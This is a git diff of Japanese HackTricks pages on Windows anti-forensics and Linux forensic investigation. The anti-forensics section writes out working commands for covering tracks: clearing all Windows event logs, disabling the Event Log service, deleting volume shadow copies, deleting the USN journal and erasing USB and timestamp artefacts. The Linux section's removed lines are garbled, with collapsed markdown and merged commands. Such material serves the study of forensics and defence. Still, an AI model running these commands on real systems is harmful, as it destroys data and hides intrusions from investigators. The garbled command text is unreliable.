**HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見 -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする。 - -* **HackTricks**(https://github.com/carlospolop/hacktricks)および**HackTricks Cloud**(https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする +- **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** - -# タイムスタンプ +## タイムスタンプ 攻撃者は**ファイルのタイムスタンプを変更**して検出を回避する可能性があります。\ -MFT内の属性`$STANDARD_INFORMATION`および`$FILE_NAME`にタイムスタンプが含まれている可能性があります。 +MFT内の属性`$STANDARD_INFORMATION`と`$FILE_NAME`にタイムスタンプを見つけることができます。 -両方の属性には4つのタイムスタンプがあります:**変更**、**アクセス**、**作成**、および**MFTレジストリの変更**(MACEまたはMACB)。 +両方の属性には4つのタイムスタンプがあります:**変更**、**アクセス**、**作成**、**MFTレジストリの変更**(MACEまたはMACB)。 **Windowsエクスプローラ**や他のツールは**`$STANDARD_INFORMATION`**から情報を表示します。 -## TimeStomp - アンチフォレンジックツール +### TimeStomp - 反フォレンジックツール -このツールは**`$STANDARD_INFORMATION`**内のタイムスタンプ情報を**変更**しますが、**`$FILE_NAME`**内の情報は**変更しません**。したがって、**疑わしい活動を特定**することが可能です。 +このツールは**`$STANDARD_INFORMATION`**内のタイムスタンプ情報を**変更**しますが、**`$FILE_NAME`**内の情報は**変更しません**。そのため、**疑わしい活動を特定**することが可能です。 -## Usnjrnl +### Usnjrnl -**USNジャーナル**(Update Sequence Number Journal)はNTFS(Windows NTファイルシステム)の機能であり、ボリュームの変更を追跡します。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)ツールを使用してこれらの変更を調査できます。 +**USN Journal**(Update Sequence Number Journal)はNTFS(Windows NTファイルシステム)の機能で、ボリュームの変更を追跡します。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)ツールを使用してこれらの変更を調査できます。 -![](<../../.gitbook/assets/image (449).png>) +![](<../../.gitbook/assets/image (801).png>) 前述の画像は、ファイルにいくつかの変更が加えられたことが示されているツールの**出力**です。 -## $LogFile +### $LogFile -ファイルシステムへのすべてのメタデータ変更は、[先行ログ記録](https://en.wikipedia.org/wiki/Write-ahead_logging)としてプロセスに記録されます。記録されたメタデータは、NTFSファイルシステムのルートディレクトリにある`**$LogFile**`という名前のファイルに保持されます。[LogFileParser](https://github.com/jschicht/LogFileParser)などのツールを使用して、このファイルを解析し変更を特定できます。 +ファイルシステムへのすべてのメタデータ変更は、[先行ログ記録](https://en.wikipedia.org/wiki/Write-ahead\_logging)としてログに記録されます。記録されたメタデータは、NTFSファイルシステムのルートディレクトリにある`**$LogFile**`という名前のファイルに保持されます。[LogFileParser](https://github.com/jschicht/LogFileParser)などのツールを使用して、このファイルを解析して変更を特定できます。 -![](<../../.gitbook/assets/image (450).png>) +![](<../../.gitbook/assets/image (137).png>) -ツールの出力でも、**いくつかの変更が行われた**ことがわかります。 +再び、ツールの出力では、**いくつかの変更が行われた**ことがわかります。 -同じツールを使用して、**タイムスタンプがいつ変更されたか**を特定することが可能です: +同じツールを使用して、**タイムスタンプがいつ変更されたか**を特定できます: -![](<../../.gitbook/assets/image (451).png>) +![](<../../.gitbook/assets/image (1089).png>) -* CTIME:ファイルの作成時刻 -* ATIME:ファイルの変更時刻 -* MTIME:ファイルのMFTレジストリの変更 -* RTIME:ファイルのアクセス時刻 +- CTIME:ファイルの作成時刻 +- ATIME:ファイルの変更時刻 +- MTIME:ファイルのMFTレジストリの変更 +- RTIME:ファイルのアクセス時刻 -## `$STANDARD_INFORMATION`と`$FILE_NAME`の比較 +### `$STANDARD_INFORMATION`と`$FILE_NAME`の比較 疑わしい変更されたファイルを特定する別の方法は、両方の属性の時間を比較し、**不一致**を探すことです。 -## ナノ秒 +### ナノ秒 **NTFS**のタイムスタンプは**100ナノ秒の精度**を持ちます。そのため、2010-10-10 10:10:**00.000:0000のようなタイムスタンプを持つファイルは非常に疑わしいです**。 -## SetMace - アンチフォレンジックツール +### SetMace - 反フォレンジックツール -このツールは、属性`$STARNDAR_INFORMATION`と`$FILE_NAME`の両方を変更できます。ただし、Windows Vista以降では、この情報を変更するにはライブOSが必要です。 +このツールは、`$STARNDAR_INFORMATION`と`$FILE_NAME`の両方の属性を変更できます。ただし、Windows Vista以降では、この情報を変更するにはライブOSが必要です。 -# データの隠蔽 +## データの隠蔽 -NFTSはクラスターと最小情報サイズを使用します。つまり、ファイルが1つのクラスターと半分を使用している場合、**残りの半分はファイルが削除されるまで使用されません**。そのため、このスラックスペースにデータを**隠すことが可能**です。 +NFTSはクラスターと最小情報サイズを使用します。つまり、ファイルが1つのクラスターと半分を占有している場合、**残りの半分はファイルが削除されるまで使用されません**。そのため、このスラックスペースにデータを**隠すことが可能**です。 -この「隠された」スペースにデータを隠すことができるslackerなどのツールがあります。ただし、`$logfile`および`$usnjrnl`の分析により、データが追加されたことが示される場合があります: +この「隠された」スペースにデータを隠すことができるslackerなどのツールがあります。ただし、`$logfile`と`$usnjrnl`の分析により、データが追加されたことがわかります: -![](<../../.gitbook/assets/image (452).png>) +![](<../../.gitbook/assets/image (1060).png>) -その後、FTK Imagerなどのツールを使用してスラックスペースを回復することが可能です。この種のツールは、コンテンツを難読化したり、暗号化したりすることができます。 +その後、FTK Imagerなどのツールを使用してスラックスペースを取得できます。この種のツールは、コンテンツを難読化したり、暗号化したりすることができることに注意してください。 -# UsbKill +## UsbKill -このツールは、USBポートに変更が検出されるとコンピューターを**シャットダウン**します。\ +これは、USBポートの変更が検出されるとコンピューターを**シャットダウン**するツールです。\ これを発見する方法は、実行中のプロセスを検査し、**実行中の各Pythonスクリプトを確認**することです。 -# ライブLinuxディストリビューション +## ライブLinuxディストリビューション -これらのディストリビューションは**RAM内で実行**されます。NTFSファイルシステムが書き込み権限でマウントされている場合にのみ、それらを検出することが可能です。読み取り権限のみでマウントされている場合は侵入を検出することはできません。 +これらのディストリビューションは**RAMメモリ内で実行**されます。NTFSファイルシステムが書き込み権限でマウントされている場合にのみ、侵入を検出することが可能です。読み取り権限でマウントされている場合は、侵入を検出することはできません。 -# 安全な削除 +## 安全な削除 [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -# Windowsの設定 +## Windowsの設定 -フォレンジック調査を困難にするために、Windowsの複数のログ記録方法を無効にすることが可能です。 +フォレンジック調査を困難にするために、Windowsのさまざまなログ記録方法を無効にすることが可能です。 -## タイムスタンプの無効化 - UserAssist +### タイムスタンプの無効化 - UserAssist これは、ユーザーが実行した各実行可能ファイルの日付と時刻を維持するレジストリキーです。 UserAssistを無効にするには、2つの手順が必要です: -1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`および`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`という2つのレジストリキーをゼロに設定して、UserAssistを無効にしたいことを示します。 +1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`と`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`の2つのレジストリキーをゼロに設定して、UserAssistを無効にしたいことを示します。 2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`のようなレジストリサブツリーをクリアします。 -## タイムスタンプの無効化 - Prefetch +### タイムスタンプの無効化 - Prefetch -これは、Windowsシステムのパフォーマンスを向上させるために実行されたアプリケーションに関する情報を保存します。ただし、これはフォレンジックの実践にも役立ちます。 +これは、Windowsシステムのパフォーマンスを向上させることを目的として実行されたアプリケーションに関する情報を保存します。ただし、これはフォレンジックの実践にも役立ちます。 -* `regedit`を実行します -* ファイルパス`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`を選択します -* `EnablePrefetcher`および`EnableSuperfetch`の両方を右クリックし、それぞれの「修正」を選択して、値を1(または3)から0に変更します -* 再起動します +- `regedit`を実行します +- ファイルパス`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`を選択します +- `EnablePrefetch`と`EnableSuperfetch`の両方を右クリックし、それぞれの「変更」を選択して、値を1(または3)から0に変更します +- 再起動します -## タイムスタンプの無効化 - 最終アクセス時刻 +### タイムスタンプの無効化 - 最終アクセス時刻 -Windows NTサーバーのNTFSボリュームからフォルダーが開かれるたびに、システムは**リストされた各フォルダーのタイムスタンプフィールド**である最終アクセス時刻を更新します。使用頻度の高いNTFSボリュームでは、これがパフォーマンスに影響する可能性があります。 +Windows NTサーバーのNTFSボリュームからフォルダーが開かれるたびに、システムは**リストされた各フォルダーのタイムスタンプフィールドを更新**します。これを最終アクセス時刻と呼びます。使用頻度の高いNTFSボリュームでは、これがパフォーマンスに影響する可能性があります。 1. レジストリエディタ(Regedit.exe)を開きます。 2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`に移動します。 3. `NtfsDisableLastAccessUpdate`を探します。存在しない場合は、このDWORDを追加し、その値を1に設定してプロセスを無効にします。 4. レジストリエディタを閉じ、サーバーを再起動します。 +### USB履歴の削除 -## USB履歴の削除 - -すべての**USBデバイスエントリ**は、Windowsレジストリの**USBSTOR**レジストリキーの下に保存されます。このキーには、PCまたはラップトップにUSBデバイスを接続するたびに作成されるサブキーが含まれています。このキーはここにあります`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。これを削除すると、USBの履歴が削除されます。\ -これらを削除したことを確認するために、ツール[**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html)を使用することもできます(および削除することもできます)。 +すべての**USBデバイスエントリ**は、Windowsレジストリの**USBSTOR**レジストリキーの下に保存されます。このキーには、PCやラップトップにUSBデバイスを接続するたびに作成されるサブキーが含まれています。このキーはここにあります`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**これを削除**するとUSBの履歴が削除されます。\ +また、[**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html)ツールを使用して削除したことを確認することもできます(および削除することもできます)。 USBに関する情報を保存する別のファイルは、`C:\Windows\INF`内の`setupapi.dev.log`ファイルです。これも削除する必要があります。 -## シャドウコピーの無効化 +### シャドウコピーの無効化 `vssadmin list shadowstorage`でシャドウコピーを**リスト**します\ `vssadmin delete shadow`を実行してそれらを**削除**します [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)で提案された手順に従ってGUIからも削除できます。 -シャドウコピーを無効にするには、[ここからの手順](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)に従います: +シャドウコピーを無効にするには[ここからの手順](https://support.waters.com/KB\_Inf/Other/WKB15560\_How\_to\_disable\_Volume\_Shadow\_Copy\_Service\_VSS\_in\_Windows)に従います: -1. Windowsスタートボタンをクリックした後、テキスト検索ボックスに「services」と入力して、サービスプログラムを開きます。 +1. Windowsのスタートボタンをクリックした後、テキスト検索ボックスに「services」と入力してサービスプログラムを開きます。 2. リストから「Volume Shadow Copy」を見つけ、右クリックしてプロパティにアクセスします。 3. 「起動の種類」ドロップダウンメニューから「無効」を選択し、変更を適用してOKをクリックします。 また、レジストリ`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`でコピーされるファイルの構成を変更することも可能です。 -## 削除されたファイルの上書き +### 削除されたファイルの上書き -* **Windowsツール**を使用できます:`cipher /w:C` これにより、Cドライブ内の未使用ディスク領域からデータを削除するようにcipherに指示されます。 -* [**Eraser**](https://eraser.heidi.ie)などのツールも使用できます +* **Windowsツール**を使用できます:`cipher /w:C` これにより、cipherにCドライブ内の未使用ディスク領域からデータを削除するよう指示されます。 +* [**Eraser**](https://eraser.heidi.ie)のようなツールも使用できます -## Windowsイベントログの削除 +### Windowsイベントログの削除 * Windows + R --> eventvwr.msc --> "Windows Logs"を展開 --> 各カテゴリを右クリックして「ログをクリア」を選択 * `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` * `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -## Windowsイベントログの無効化 +### Windowsイベントログの無効化 * `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` * サービスセクション内でサービス「Windows Event Log」を無効にします * `WEvtUtil.exec clear-log`または`WEvtUtil.exe cl` -## $UsnJrnlの無効化 +### $UsnJrnlの無効化 * `fsutil usn deletejournal /d c:` - - diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index 6e5836031..c42775534 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -1,31 +1,427 @@ -# Linux Forensics +# Linuxフォレンジクス - + \ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! -**HackTricksをサポートする他の方法:HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)**をチェックしてください!**[**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)**を入手してください**[**The PEASS Family**](https://opensea.io/collection/the-peass-family)**を発見し、独占的な**[**NFTs**](https://opensea.io/collection/the-peass-family)**のコレクションを見つけてください💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。HackTricksと**[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。** +HackTricksをサポートする他の方法: + +* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。 -**初期情報収集基本情報まず最初に、USBに良く知られたバイナリとライブラリが含まれていることが推奨されます(単にUbuntuを取得して、\_ /bin\_、\_ /sbin\_、\_ /lib\_、および\_ /lib64\_のフォルダをコピーできます)。次にUSBをマウントし、環境変数を変更してこれらのバイナリを使用します:**export PATH=/mnt/usb/bin:/mnt/usb/sbinexport LD\_LIBRARY\_PATH=/mnt/usb/lib:/mnt/usb/lib64**一度システムを良いものや既知のバイナリを使用するように設定したら、基本情報を抽出することができます:**date #Date and time (Clock may be skewed, Might be at a different timezone)uname -a #OS infoifconfig -a || ip a #Network interfaces (promiscuous mode?)ps -ef #Running processesnetstat -anp #Proccess and portslsof -V #Open filesnetstat -rn; route #Routing tabledf; mount #Free space and mounted devicesfree #Meam and swap spacew #Who is connectedlast -Faiwx #Loginslsmod #What is loadedcat /etc/passwd #Unexpected data?cat /etc/shadow #Unexpected data?find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory**疑わしい情報基本情報を取得する際に、次のような奇妙な点をチェックする必要があります:Rootプロセス は通常、低いPIDで実行されます。そのため、大きなPIDで実行されているRootプロセスが見つかった場合は疑うべきです`/etc/passwd` 内にシェルを持たないユーザーの登録されたログイン を確認する`/etc/shadow` 内にシェルを持たないユーザーのパスワードハッシュ を確認するメモリーダンプ実行中のシステムのメモリを取得するには、**[**LiME**](https://github.com/504ensicsLabs/LiME) **を使用することをお勧めします。**\ -**コンパイル するには、被害者マシンが使用している同じカーネル を使用する必要があります。被害者マシンに LiME やその他の何かをインストールすることはできない ことを覚えておいてください。それにより、複数の変更が加えられますしたがって、Ubuntuの同一バージョンがある場合は、`apt-get install lime-forensics-dkms` を使用できます**\ -**それ以外の場合は、**[**LiME**](https://github.com/504ensicsLabs/LiME) **をgithub からダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの正確なカーネルヘッダーを取得する には、単に`/lib/modules/` ディレクトリをあなたのマシンにコピー し、それを使用して LiME をコンパイル します:**make -C /lib/modules/\/build M=$PWDsudo insmod lime.ko "path=/home/sansforensics/Desktop/mem\_dump.bin format=lime"**LiMEは3つのフォーマットをサポートしています:Raw(すべてのセグメントが連結されたもの)Padded(Rawと同じですが、右ビットにゼロが入っています)Lime(メタデータを含む推奨フォーマット)LiMEは、`path=tcp:4444`のような方法を使用して、ダンプをネットワーク経由で送信することもできます。ディスクイメージングシャットダウンまず、システムをシャットダウンする必要があります。これは常に選択肢とは限りません。なぜなら、システムが企業がシャットダウンする余裕のない本番サーバーである場合があるからです。**\ -**システムをシャットダウンする方法には、通常のシャットダウンと\*\*「プラグを抜く」シャットダウンの2つがあります。前者はプロセスが通常通り終了し、ファイルシステムが同期されることを可能にしますが、悪意のあるソフトウェアが証拠を破壊する可能性もあります。後者の「プラグを抜く」アプローチは、一部の情報が失われる可能性があります(メモリのイメージをすでに取得しているため、失われる情報はほとんどありません)し、悪意のあるソフトウェアが何もできなくなります。したがって、悪意のあるソフトウェアが疑われる場合は、システムで`sync`\*\* コマンドを実行してプラグを抜いてください。ディスクのイメージを取得するケースに関連する何かにコンピュータを接続する前に、情報を変更しないように読み取り専用でマウントされることを確認する必要があります。**#Create a raw copy of the diskdd if=\ of=\ bs=512#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)dcfldd if=\ of=\ bs=512 hash=\ hashwindow=\ hashlog=\dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes**ディスクイメージの事前分析データがない状態でディスクイメージを作成します。**#Find out if it's a disk image using "file" commandfile disk.imgdisk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)#Check which type of disk image it'simg\_stat -t evidence.imgraw#You can list supported types withimg\_stat -i listSupported image format types:raw (Single or split raw file (dd))aff (Advanced Forensic Format)afd (AFF Multiple File)afm (AFF with external metadata)afflib (All AFFLIB image formats (including beta ones))ewf (Expert Witness Format (EnCase))#Data of the imagefsstat -i raw -f ext4 disk.imgFILE SYSTEM INFORMATION--------------------------------------------File System Type: Ext4Volume Name:Volume ID: 162850f203fd75afab4f1e4736a7e776Last Written at: 2020-02-06 06:22:48 (UTC)Last Checked at: 2020-02-06 06:15:09 (UTC)Last Mounted at: 2020-02-06 06:15:18 (UTC)Unmounted properlyLast mounted on: /mnt/disk0Source OS: Linux\[...]#ls inside the imagefls -i raw -f ext4 disk.imgd/d 11: lost+foundd/d 12: Documentsd/d 8193: folder1d/d 8194: folder2V/V 65537: $OrphanFiles#ls inside folderfls -i raw -f ext4 disk.img 12r/r 16: secret.txt#cat file inside imageicat -i raw -f ext4 disk.img 16ThisisTheMasterSecret\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)**を使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。**\ -**今すぐアクセスしてください:既知のマルウェアを検索変更されたシステムファイルLinuxには、潜在的に問題のあるファイルを見つけるために重要なシステムコンポーネントの整合性を確認するためのツールが用意されています。RedHatベースのシステム:包括的なチェックには`rpm -Va`を使用します。Debianベースのシステム:初期検証には`dpkg --verify`を使用し、その後`debsums | grep -v "OK$"`(`apt-get install debsums`を使用して`debsums`をインストールした後)を使用して問題を特定します。マルウェア/ルートキット検出ツールマルウェアを見つけるのに役立つツールについては、次のページを参照してください:インストールされたプログラムを検索DebianとRedHatの両方のシステムでインストールされたプログラムを効果的に検索するには、システムログやデータベースを活用し、一般的なディレクトリでの手動チェックを検討してください。Debianの場合、パッケージのインストールに関する詳細を取得するために、\_`/var/lib/dpkg/status`**_**と**_**`/var/log/dpkg.log`\_を調査し、`grep`を使用して特定の情報をフィルタリングします。RedHatユーザーは、`rpm -qa --root=/mntpath/var/lib/rpm`を使用してRPMデータベースをクエリし、インストールされたパッケージをリストします。これらのパッケージマネージャーの外で手動でインストールされたソフトウェアを特定するには、**_**`/usr/local`**_**、**_**`/opt`**_**、**_**`/usr/sbin`**_**、**_**`/usr/bin`**_**、**_**`/bin`**_**、\_`/sbin`\_などのディレクトリを調査します。ディレクトリリストをシステム固有のコマンドと組み合わせて使用し、既知のパッケージに関連付けられていない実行可能ファイルを特定することで、すべてのインストールされたプログラムを検索を強化します。**# Debian package and log detailscat /var/lib/dpkg/status | grep -E "Package:|Status:"cat /var/log/dpkg.log | grep installed# RedHat RPM database queryrpm -qa --root=/mntpath/var/lib/rpm# Listing directories for manual installationsls /usr/sbin /usr/bin /bin /sbin# Identifying non-package executables (Debian)find /sbin/ -exec dpkg -S {} \\; | grep "no path found"# Identifying non-package executables (RedHat)find /sbin/ –exec rpm -qf {} \\; | grep "is not"# Find exacuable filesfind / -type f -executable | grep \\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)**を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。**\ -**今すぐアクセスしてください:削除された実行中のバイナリの回復/tmp/exec から実行され、その後削除されたプロセスを想像してください。それを抽出することが可能です**cd /proc/3746/ #PID with the exec file deletedhead -1 maps #Get address of the file. It was 08048000-08049000dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it**オートスタートの場所を調査するスケジュールされたタスク**cat /var/spool/cron/crontabs/\* \\/var/spool/cron/atjobs \\/var/spool/anacron \\/etc/cron\* \\/etc/at\* \\/etc/anacrontab \\/etc/incron.d/\* \\/var/spool/incron/\* \\#MacOSls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ \~/Library/LaunchAgents/**サービスマルウェアがインストールされている可能性のあるサービスのパス:/etc/inittab:rc.sysinitなどの初期化スクリプトを呼び出し、さらに起動スクリプトに誘導します。/etc/rc.d/ および /etc/rc.boot/:サービスの起動スクリプトが含まれており、後者は古いLinuxバージョンに見られます。/etc/init.d/:Debianなどの特定のLinuxバージョンで起動スクリプトを保存するために使用されます。サービスは、Linuxのバリアントに応じて /etc/inetd.conf または /etc/xinetd/ からも起動される可能性があります。/etc/systemd/system:システムおよびサービスマネージャースクリプト用のディレクトリ。/etc/systemd/system/multi-user.target.wants/:マルチユーザーランレベルで起動する必要があるサービスへのリンクが含まれています。/usr/local/etc/rc.d/:カスタムまたはサードパーティのサービス用。\~/.config/autostart/:ユーザー固有の自動起動アプリケーション用であり、ユーザー向けのマルウェアの隠れた場所となる可能性があります。/lib/systemd/system/:インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。カーネルモジュールマルウェアによってルートキットコンポーネントとして利用されるLinuxカーネルモジュールは、システム起動時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは次のとおりです:/lib/modules/$(uname -r):実行中のカーネルバージョン用のモジュールを保持します。/etc/modprobe.d:モジュールのロードを制御する構成ファイルが含まれています。/etc/modprobe および /etc/modprobe.conf:グローバルモジュール設定用のファイル。その他の自動起動場所Linuxは、ユーザーログイン時に自動的にプログラムを実行するためのさまざまなファイルを使用しており、これらは潜在的にマルウェアを隠す可能性があります:/etc/profile.d/\*、/etc/profile、および /etc/bash.bashrc:すべてのユーザーログイン時に実行されます。\~/.bashrc、\~/.bash\_profile、\~/.profile、および \~/.config/autostart:ユーザー固有のファイルで、ユーザーのログイン時に実行されます。/etc/rc.local:すべてのシステムサービスが起動した後に実行され、マルチユーザー環境への移行の終了を示します。ログの調査Linuxシステムは、さまざまなログファイルを介してユーザーのアクティビティやシステムイベントを追跡します。これらのログは、不正アクセス、マルウェア感染、およびその他のセキュリティインシデントを特定するために重要です。主要なログファイルには次のものがあります:/var/log/syslog(Debian)または /var/log/messages(RedHat):システム全体のメッセージとアクティビティをキャプチャします。/var/log/auth.log(Debian)または /var/log/secure(RedHat):認証試行、成功および失敗したログインを記録します。`grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。/var/log/boot.log:システムの起動メッセージが含まれています。/var/log/maillog または /var/log/mail.log:メールサーバーのアクティビティを記録し、メール関連サービスの追跡に役立ちます。/var/log/kern.log:エラーや警告を含むカーネルメッセージを保存します。/var/log/dmesg:デバイスドライバーメッセージを保持します。/var/log/faillog:失敗したログイン試行を記録し、セキュリティ侵害の調査を支援します。/var/log/cron:cronジョブの実行を記録します。/var/log/daemon.log:バックグラウンドサービスのアクティビティを追跡します。/var/log/btmp:失敗したログイン試行を文書化します。/var/log/httpd/:Apache HTTPDのエラーおよびアクセスログが含まれています。/var/log/mysqld.log または /var/log/mysql.log:MySQLデータベースのアクティビティを記録します。/var/log/xferlog:FTPファイル転送を記録します。/var/log/:ここで予期しないログを常にチェックしてください。Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される可能性があります。Linuxシステムのログは一般的に悪意のある活動に関する最も有用な情報のいくつかを含んでいるため、侵入者は定期的にそれらを削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候となる欠落や順序の乱れを探すことが重要です。Linuxは各ユーザーのコマンド履歴を維持しており、以下に保存されています:\~/.bash\_history\~/.zsh\_history\~/.zsh\_sessions/\*\~/.python\_history\~/.\*\_historyさらに、`last -Faiwx` コマンドを使用してユーザーログインのリストを取得できます。未知または予期しないログインがあるかどうかを確認してください。追加の特権を付与できるファイルをチェックしてください:予期しないユーザー特権が付与されている可能性があるかどうかを確認するために、`/etc/sudoers` を確認してください。予期しないユーザー特権が付与されている可能性があるかどうかを確認するために、`/etc/sudoers.d/` を確認してください。異常なグループメンバーシップや権限を特定するために、`/etc/groups` を調べてください。異常なグループメンバーシップや権限を特定するために、`/etc/passwd` を調べてください。一部のアプリケーションは独自のログを生成することがあります:SSH:**_**\~/.ssh/authorized\_keys**_** および **_**\~/.ssh/known\_hosts**_** を調べて、許可されていないリモート接続を見つけます。Gnomeデスクトップ:Gnomeアプリケーションを介して最近アクセスされたファイルを示す **_**\~/.recently-used.xbel**_** を調べてください。Firefox/Chrome:怪しい活動を示すために、**_**\~/.mozilla/firefox**_** または **_**\~/.config/google-chrome**_** でブラウザの履歴とダウンロードをチェックしてください。VIM:アクセスされたファイルパスや検索履歴などの使用詳細を示す **_**\~/.viminfo**_** を確認してください。Open Office:侵害されたファイルを示す可能性のある最近のドキュメントアクセスをチェックしてください。FTP/SFTP:許可されていないファイル転送を示す **_**\~/.ftp\_history**_** または **_**\~/.sftp\_history**_** のログを確認してください。MySQL:実行されたMySQLクエリを示す **_**\~/.mysql\_history**_** を調査して、許可されていないデータベースアクティビティを明らかにすることができます。Less:表示されたファイルや実行されたコマンドなどの使用履歴を分析する **_**\~/.lesshst**_** を確認してください。Git:リポジトリへの変更を示す **_**\~/.gitconfig**_** およびプロジェクト **_**.git/logs**_** 